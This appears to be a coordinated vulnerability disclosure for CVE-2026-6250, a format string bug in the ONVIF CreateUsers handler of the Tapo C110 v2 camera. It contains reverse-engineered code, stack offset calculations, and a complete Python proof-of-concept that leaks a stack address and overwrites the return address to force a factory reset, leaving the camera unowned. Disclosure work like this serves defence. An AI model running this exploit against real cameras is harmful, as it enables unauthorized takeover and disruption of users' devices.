| ID | CVE-2026-6250 |
| Summary | An authenticated format string vulnerability exists in the ONVIF service of the Tapo C110 v2 due to improper handling of user-controlled input. |
| Location | /bin/main: 0x000953e0(CreateUsers) |
| Type | CWE-134: Use of Externally-Controlled Format String |
| CVSS(4.0) | 7.0(/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Affected Version | < 1.5.4 Build 260428 Rel.64344n |
Background
ONVIF (Open Network Video Interface Forum) is a standard protocol used for IP camera device management. The Tapo C110 v2 provides the ONVIF service on TCP port 2020 and supports standard WS-Security-based user management functions such as GetUsers, CreateUsers, and DeleteUsers.
The Tapo C110 v2 enforces a separation of privileges between ONVIF users and the Tapo app administrator. Sensitive functions such as factory reset are unavailable to ONVIF users and can only be used by the Tapo app administrator through a proprietary securePassthrough protocol (HTTPS-based encrypted JSON).
However, due to a format string vulnerability present in the CreateUsers request handler, the return address stored on the stack can be overwritten. This allows the execution flow to be manipulated into jumping to the factory reset routine.
Technical Details
int tds_soap_tag_handle_add()
{
soap_tag_handle_add("tds:GetServices", soap_tds_get_services_handle);
soap_tag_handle_add("tds:GetServiceCapabilities", sub_92130);
soap_tag_handle_add("tds:GetDeviceInformation", sub_95D68);
soap_tag_handle_add("tds:GetSystemDateAndTime", soap_tds_get_sys_time_handle);
soap_tag_handle_add("tds:GetScopes", get_tds_scopes);
soap_tag_handle_add("tds:SetScopes", sub_95BD4);
soap_tag_handle_add("tds:AddScopes", soap_tds_add_scopes_handle);
soap_tag_handle_add("tds:RemoveScopes", soap_tds_rm_scopes_handle);
soap_tag_handle_add("tds:GetDiscoveryMode", sub_96C24);
soap_tag_handle_add("tds:SetDiscoveryMode", soap_tds_set_discv_mode_handle);
soap_tag_handle_add("tds:GetUsers", sub_967EC);
soap_tag_handle_add("tds:CreateUsers", sub_95298); // [1]
soap_tag_handle_add("tds:DeleteUsers", sub_9504C);
soap_tag_handle_add("tds:SetUser", sub_94C4C);
soap_tag_handle_add("tds:GetWsdlUrl", sub_9679C);
soap_tag_handle_add("tds:GetCapabilities", soap_tds_get_capabilities_handle);
soap_tag_handle_add("tds:GetHostname", soap_tds_get_hostname_handle);
soap_tag_handle_add("tds:GetDNS", sub_9674C);
soap_tag_handle_add("tds:GetNTP", sub_966FC);
soap_tag_handle_add("tds:GetNetworkInterfaces", sub_966AC);
soap_tag_handle_add("tds:GetNetworkProtocols", soap_tds_get_network_proto_handle);
soap_tag_handle_add("tds:GetNetworkDefaultGateway", sub_9665C);
soap_tag_handle_add("tds:GetCertificates", sub_9660C);
soap_tag_handle_add("tds:GetCertificatesStatus", sub_965BC);
soap_tag_handle_add("tds:GetDot11Capabilities", sub_9656C);
soap_tag_handle_add("tds:GetDot11Status", sub_9651C);
return soap_tag_handle_add("tds:ScanAvailableDot11Networks", sub_964CC);
}
[1] The CreateUsers request processing in the ONVIF service is handled by the sub_95298 function in the /bin/main binary.
int __fastcall CreateUsers(_DWORD *ctx) // sub_95298
{
int user_count;
unsigned int body_start;
int body_end;
int body_len;
int parse_state;
int tag_delim;
OnvifUser *user_rec;
unsigned int cursor;
char elem_buf[128];
_WORD user_pool[1570];
...
if ( ctx )
{
user_count = soap_usernametoken_auth((int)ctx);
if ( !user_count )
{
memset(user_pool, 0, 0xC40u);
body_start = ctx[730];
if ( body_start && (body_end = ctx[731]) != 0 )
{
body_len = body_end - body_start;
if ( (int)(body_end - body_start) < 0 )
{
LABEL_67:
create_idx = 0;
}
else
{
cursor = ctx[730];
...
while ( (int)(cursor - body_start) < body_len )
{
tag_delim = soap_get_element_name(body_start, body_len, &cursor, elem_buf, 128); // [1]
if ( tag_delim == -1 )
goto LABEL_67;
if ( elem_buf[0] != '/' )
{
if ( soap_match_element(elem_buf, "User") == (char *)1 )
{
parse_state = 1;
}
else if ( soap_match_element(elem_buf, "Username") == (char *)1 ) // [2]
{
if ( !parse_state )
goto LABEL_67;
parse_state = soap_parse_element_value(body_start, body_len, &cursor, tag_delim, elem_buf, 128); // [3]
if ( parse_state )
goto LABEL_67;
user_rec = (OnvifUser *)&user_pool[49 * user_count++];
snprintf(user_rec->username, 0x80u, elem_buf); // [4] format string bug
}
...
}
}
return -1;
}
[1] The sub_95298 handler parses the SOAP (Simple Object Access Protocol) body field by field. [2] During the SOAP field parsing, if it matches <Username>, [3] the field value is copied into the local buffer elem_buf, and then [4] elem_buf is passed as the third argument (the format string) to the snprintf function.
Therefore, if an attacker includes format specifiers such as %x, %c, or %n, the uClibc snprintf function will interpret them as actual format strings, enabling arbitrary stack memory reading and writing. For stack memory writing, two characteristics of uClibc must be taken into account.
First, positional arguments (%N$) are not properly implemented. In uClibc, the %N$ format works correctly only when N is 1. Consequently, to manipulate the return address, the attacker must repeatedly use the %c format specifier to consume arguments one by one until reaching the stack offset where the return address resides. Second, %n and %hn are supported.
Exploitation Overview
❯ checksec main
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Attacker Tapo C110 v2
| |
| CreateUsers("ZZ%08x.ZZ") |
|------------------------------------>|
| |
| GetUsers() |
|------------------------------------>|
| |
| Username=ZZbeb49dd0.ZZ |
|<------------------------------------|
| |
| calculate saved LR |
| |
| CreateUsers(payload) |
|------------------------------------>|
| |
| reboot triggered |
| |
To overwrite the saved LR where the return address is stored using the format string bug, a runtime stack address must first be acquired. The following is the disassembly at the snprintf call site:
953ca ADD.W R3, SP, #0x6A8 ; [1] R3 = &user_pool
953ce MOVS R0, #0x62 ; sizeof(user_pool) = 98
953d0 ADD.W R11, R6, #1 ; R11 = user_count + 1
953d4 MOVS R1, #0x80 ; maxlen = 0x80
953d6 MLA R0, R0, R6, R3 ; R0 = &user_pool[user_count]
953da MOV R2, R5 ; format = elem_buf (Username)
953dc MOV R6, R11 ; user_count++
953de ADDS R0, #0x20 ; R0 = &user_rec->username (+0x20)
953e0 BLX snprintf
According to the ARM AAPCS calling convention, the first variadic argument of snprintf(dst, maxlen, fmt, ...) is stored in the R3 register. [1] Since R3 = SP + 0x6A8, a single %08x can be used to leak the stack address of the first variadic argument. From there, reverse calculation can reveal the stack address where the return address is saved.
To achieve this stack address leak, the attacker must use a CreateUsers request to create an account with the following username:
ZZ%08x.ZZ
After creating the account, a GetUsers request can be utilized to view the username, leaking the stack address in a format similar to the following:
ZZbeb49dd0.ZZ
Looking at the stack frame of the sub_95298 function, the saved LR is located at sp+0x130C.
__saved_registers : sp + 0x12EC (R4~R11, LR)
saved LR slot : sp + 0x130C
leaked R3 : sp + 0x6A8
saved LR : leaked R3 + 0xC64
This indicates that the saved LR is positioned at a +0xC64 offset from the leaked R3 stack address.
The Tapo C110 v2 performs the device factory reset by calling the sub_4C918 function. This function accepts no arguments, allowing for a safe invocation regardless of register values. Therefore, in this write-up, the return address will be manipulated to point to sub_4C918 to trigger a forced device reset.
Tapo C110 v2 Reset Routine
The device initialization routine of the sub_4C918 function is as follows:
int sub_4C918()
{
// activating reset_flag -> rebooting
int result; // r0
int v1; // r0
int v2; // r0
int result = sub_4C6AC() + 1; // [1] write the multi user configuration
if ( result )
{
if ( !access("/tmp/usr_def_audio/cnsl_dbg", 0) )
remove("/tmp/usr_def_audio/cnsl_dbg");
if ( !access("/hooks/post_reset_hook.sh", 1) )
system("/hooks/post_reset_hook.sh");
int v1 = sub_4C880("/tmp/usr_def_audio");
int v2 = sub_4C8FC(v1);
return j_reboot_wrapper(v2); // [2] reboot
}
return result;
}
int sub_4C6AC()
{
int v0; // r2
int v1; // r3
char v3[256]; // [sp+10h] [bp-9A8h] BYREF
char v4[256]; // [sp+110h] [bp-8A8h] BYREF
char dest[352]; // [sp+210h] [bp-7A8h] BYREF
cloud_config_bind cloud_config_bind; // [sp+370h] [bp-648h] BYREF
char s[512]; // [sp+4FCh] [bp-4BCh] BYREF
char v8[700]; // [sp+6FCh] [bp-2BCh] BYREF
memset(s, 0, sizeof(s));
memset(dest, 0, sizeof(dest));
memset(v3, 0, sizeof(v3));
memset(v8, 0, 0x2B9u);
ds_read((int)"/device_info/basic_info", v8, 0x2B9u);
snprintf(v3, 0x100u, "{\"label_info_1\":{\"text\":\"%s\"}}", &v8[274]);
strcpy(dest, "OSD");
strcpy(&dest[32], "label_info");
*(_DWORD *)&dest[80] = v3;
*(_DWORD *)&dest[84] = strlen(v3) + 1;
memset(v4, 0, sizeof(v4));
snprintf(v4, 0x100u, "{\"dhcp\":{\"hostname\":\"%s\"}}", &v8[274]);
strcpy(&dest[88], "protocol");
strcpy(&dest[120], "proto");
*(_DWORD *)&dest[168] = v4;
*(_DWORD *)&dest[172] = strlen(v4) + 1;
memset(&cloud_config_bind, 0, sizeof(cloud_config_bind));
ds_read((int)"/cloud_config/bind", &cloud_config_bind, 0x18Cu);
snprintf(
s,
0x200u,
"{\"bind\":{\"username\":\"%s\",\"password\":\"%s\",\"account_id\":\"%s\",\"bind_code\":\"%s\",\"unbind_authority\":\""
"%d\",\"reset_flag\":\"1\"}}",
cloud_config_bind.username,
cloud_config_bind.password,
cloud_config_bind.account_id,
cloud_config_bind.bind_code,
cloud_config_bind.unbind_authority);
strcpy(&dest[176], "cloud_config");
strcpy(&dest[208], "router_post");
*(_DWORD *)&dest[256] = s;
*(_DWORD *)&dest[260] = strlen(s) + 1;
return -(ds_save_multi_usr_cfg((int)dest, 3, v0, v1) != 0);
}
struct cloud_config_bind
{
char username[65];
char password[33];
char account_id[33];
char bind_code[257];
int reset_flag;
int unbind_authority;
};
The sub_4C918 function invokes the sub_4C6AC function to [1] permanently save the reset_flag field as “1” within the DS (DataStore) section /cloud_config/bind, and then [2] reboots the device.
tdpd_listen_thread (0x517C8)
└ recvfrom() -> tdpd_handle / sub_50AEC (0x50AEC)
├ tdpd_check_recv_packet (verify version/reserved/checksum/flag)
└ switch(opcode):
│
├─ opcode 1 DISCOVERY_APP -> tdpd_get_camera_data_before_encrypt (0x4FE60)
├─ opcode 2 DISCOVERY_HUB -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)
└─ opcode 4-8 DISCOVERY_CAM -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)
Following the boot process, the Tapo C110 v2 utilizes the TDP (TP-Link Discovery Protocol, UDP/20002) to handle app, hub, and camera connections.
int __fastcall tdpd_get_camera_data_before_encrypt(int a1, int a2)
{
...
if ( a1 && a2 )
{
v7 = sub_F6878(v4, v5, v6, 0);
if ( !v7 )
{
msg_debug(0, 16, 3, (int)"tdpd_get_encrypt_info_v2", 881, (int)"[TDPD][Error] failed to create encrypt_info");
return -1;
}
v8 = jso_obj_get(a1, "params");
...
string_origin = (const char *)jso_obj_get_string_origin(v8, "rsa_key");
...
v11 = strlen(string_origin);
v12 = v11;
if ( v11 )
{
...
if ( sub_F9310(string_origin, &unk_2CB59C, 32, s, 512, &n) >= 0 )
{
...
ds_read((int)"/cloud_config/bind", &cloud_config_bind, 396);
ds_read((int)"/cloud_config/extra_bind", cloud_config_extra_bind, 104);
if ( !cloud_config_bind.username[0] || (v23 = cloud_config_bind.reset_flag) != 0 ) // [1]
{
if ( !cloud_config_extra_bind[0] )
{
v36 = &byte_207F0B; // null
LABEL_54:
jso_add_string(v35, "owner", v36); // [2]
...
}
memset(v55, 0, sizeof(v55));
mbedtls_md5_initalization((int)v55);
v30 = strlen(cloud_config_extra_bind);
j_j_mbedtls_md5_update_ret(v55, cloud_config_extra_bind, v30);
j_j_mbedtls_md5_finish_ret(v55, v52);
v31 = -2;
do
{
v32 = (char *)&v53[v29];
v33 = v31 * v29 + 33;
v48 = v31;
v34 = (unsigned __int8)v52[v29++];
snprintf(v32, v33, "%02X", v34);
v31 = v48;
}
while ( v29 != 16 );
}
else
{
memset(v55, 0, sizeof(v55));
mbedtls_md5_initalization((int)v55);
v24 = strlen(cloud_config_bind.username);
j_j_mbedtls_md5_update_ret(v55, &cloud_config_bind, v24);
j_j_mbedtls_md5_finish_ret(v55, v52);
v25 = -2;
do
{
v26 = (char *)&v53[v23];
v27 = v25 * v23 + 33;
v47 = v25;
v28 = (unsigned __int8)v52[v23++];
snprintf(v26, v27, "%02X", v28);
v25 = v47;
}
while ( v23 != 16 );
}
v35 = v20;
v36 = (const char *)v53;
goto LABEL_54;
...
}
When handling the DISCOVERY_APP opcode for app pairing, if an incoming rsa_key value is processed, the system checks [1] whether the username field exists within the /cloud_config/bind section and whether reset_flag is active. [2] If reset_flag is enabled at this point, the owner string is left completely empty.
Through this code execution flow, the Tapo C110 v2 camera loses its assigned owner and becomes exposed in a re-bindable state, executing a logical factory reset.
Payload Construction
In ARM Thumb mode, the least significant bit of a function address must always be 1; thus, the final target address to overwrite the saved LR becomes 0x0004C919.
Furthermore, considering that outputting an excessive amount of data during exploitation might cause errors, the payload is structured to overwrite the return address in two separate 16-bit phases using the %hn format specifier.
hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
lo = RESET_ADDR & 0xFFFF # 0xC919
The entire payload must conform to the 127-byte length restriction for the Username. Since the payload is supplied as the Username value and transmitted inside XML, it must not include the following characters: 0x00 (NULL), 0x25 (%), 0x26 (&), 0x3C (<), and 0x3E (>).
Proof-of-Concept
#!/usr/bin/env python3
import base64, datetime, hashlib, os, re, socket, struct, time
import requests
TARGET = "" # target IP address
PORT = 2020
USER = "" # normal user name
PASS = "" # normal user password
RESET_ADDR = 0x4c919
def url(h):
return f"http://{h}:{PORT}/onvif/device_service"
def wsse(user, pw):
nonce = os.urandom(16)
created = datetime.datetime.now(datetime.UTC).strftime("%Y-%m-%dT%H:%M:%SZ")
digest = base64.b64encode(
hashlib.sha1(nonce + created.encode() + pw.encode()).digest()
).decode()
return f"""<Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<UsernameToken>
<Username>{user}</Username>
<Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">{digest}</Password>
<Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">{base64.b64encode(nonce).decode()}</Nonce>
<Created xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">{created}</Created>
</UsernameToken></Security>"""
def soap(host, user, pw, body):
xml = f"""<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
xmlns:tt="http://www.onvif.org/ver10/schema">
<s:Header>{wsse(user, pw)}</s:Header>
<s:Body>{body}</s:Body>
</s:Envelope>"""
try:
r = requests.post(url(host), data=xml.encode(),
headers={"Content-Type": "application/soap+xml"}, timeout=5)
return r.status_code, r.text
except requests.exceptions.ConnectionError:
return "CONN_ERR", ""
except requests.exceptions.Timeout:
return "TIMEOUT", ""
def create_raw(host, user, pw, username_bytes):
hdr = wsse(user, pw).encode()
data = (
b'<?xml version="1.0" encoding="utf-8"?>'
b'<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"'
b' xmlns:tds="http://www.onvif.org/ver10/device/wsdl"'
b' xmlns:tt="http://www.onvif.org/ver10/schema">'
b'<s:Header>' + hdr + b'</s:Header>'
b'<s:Body><tds:CreateUsers><tds:User>'
b'<tt:Username>' + username_bytes +
b'</tt:Username><tt:Password>safe</tt:Password>'
b'<tt:UserLevel>User</tt:UserLevel>'
b'</tds:User></tds:CreateUsers></s:Body></s:Envelope>'
)
try:
r = requests.post(url(host), data=data,
headers={"Content-Type": "application/soap+xml"}, timeout=5)
return r.status_code
except requests.exceptions.ConnectionError:
return "CONN_ERR"
except requests.exceptions.Timeout:
return "TIMEOUT"
def alive(h):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((h, PORT))
s.close()
return True
except OSError:
return False
def main():
h, u, p = TARGET, USER, PASS
hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
lo = RESET_ADDR & 0xFFFF # 0xC919
code, resp = soap(h, u, p, "<tds:GetUsers/>")
if code != 200:
print(f"GetUsers error: {code}"); return
before = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
code, _ = soap(h, u, p,
'<tds:CreateUsers><tds:User>'
'<tt:Username>ZZ%08x.ZZ</tt:Username>'
'<tt:Password>safe</tt:Password>'
'<tt:UserLevel>User</tt:UserLevel>'
'</tds:User></tds:CreateUsers>')
if code != 200:
print(f"leak error: {code}"); return
time.sleep(0.5)
code, resp = soap(h, u, p, "<tds:GetUsers/>")
after = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
new = after - before
if not new:
print("no new user"); return
leaked = list(new)[0]
m = re.search(r'ZZ([0-9a-fA-F]+)\.ZZ', leaked)
if not m:
print(f"parsing stack address error: {leaked}"); return
r3 = int(m.group(1), 16)
lr_addr = r3 + 0xC64
soap(h, u, p,
f'<tds:DeleteUsers><tds:Username>{leaked}</tds:Username></tds:DeleteUsers>')
addr_hi = struct.pack("<I", lr_addr + 2)# upper halfword location
pad = b'\x41\x41\x41\x41' # filler (consumed by %W2c)
addr_lo = struct.pack("<I", lr_addr) # lower halfword location
bad_bytes = {0x00, 0x25, 0x26, 0x3C, 0x3E} # null, %, &, <, >
for label, a in [("saved_lr+2", addr_hi), ("saved_lr", addr_lo)]:
for b in a:
if b in bad_bytes:
print(f"{label}: byte 0x{b:02x} unsafe"); return
LITERAL = 12# 3 × 4-byte fields (addr_hi + pad + addr_lo)
ARGS = 32# %c × 32
# first %hn: count1 = W1 = hi - LITERAL - ARGS (mod 0x10000)
W1 = hi - LITERAL - ARGS
if W1 <= 0:
W1 += 0x10000
# second %hn: count2 = count1 + W2 = lo (mod 0x10000)
W2 = (lo - hi) & 0xFFFF
if W2 == 0:
W2 = 0x10000
fmt = addr_hi + pad + addr_lo
fmt += f"%{W1}c".encode()
fmt += b"%c" * 32
fmt += b"%hn"
fmt += f"%{W2}c".encode()
fmt += b"%hn"
if len(fmt) > 127:
print(f"payload too long: {len(fmt)} > 127"); return
code = create_raw(h, u, p, fmt)
print("exploit!!!")
if __name__ == "__main__":
main()
Demonstration
Timeline
- 2026-02-27 - Discovered vulnerability.
- 2026-03-01 - Reported vulnerability to TP-Link Inc.
- 2026-03-03 - Recognized as a security vulnerability and started investigating.
- 2026-06-12 - Patched in the stable version (
Tapo C110(US)_V2.6_1.5.4 Build 260428).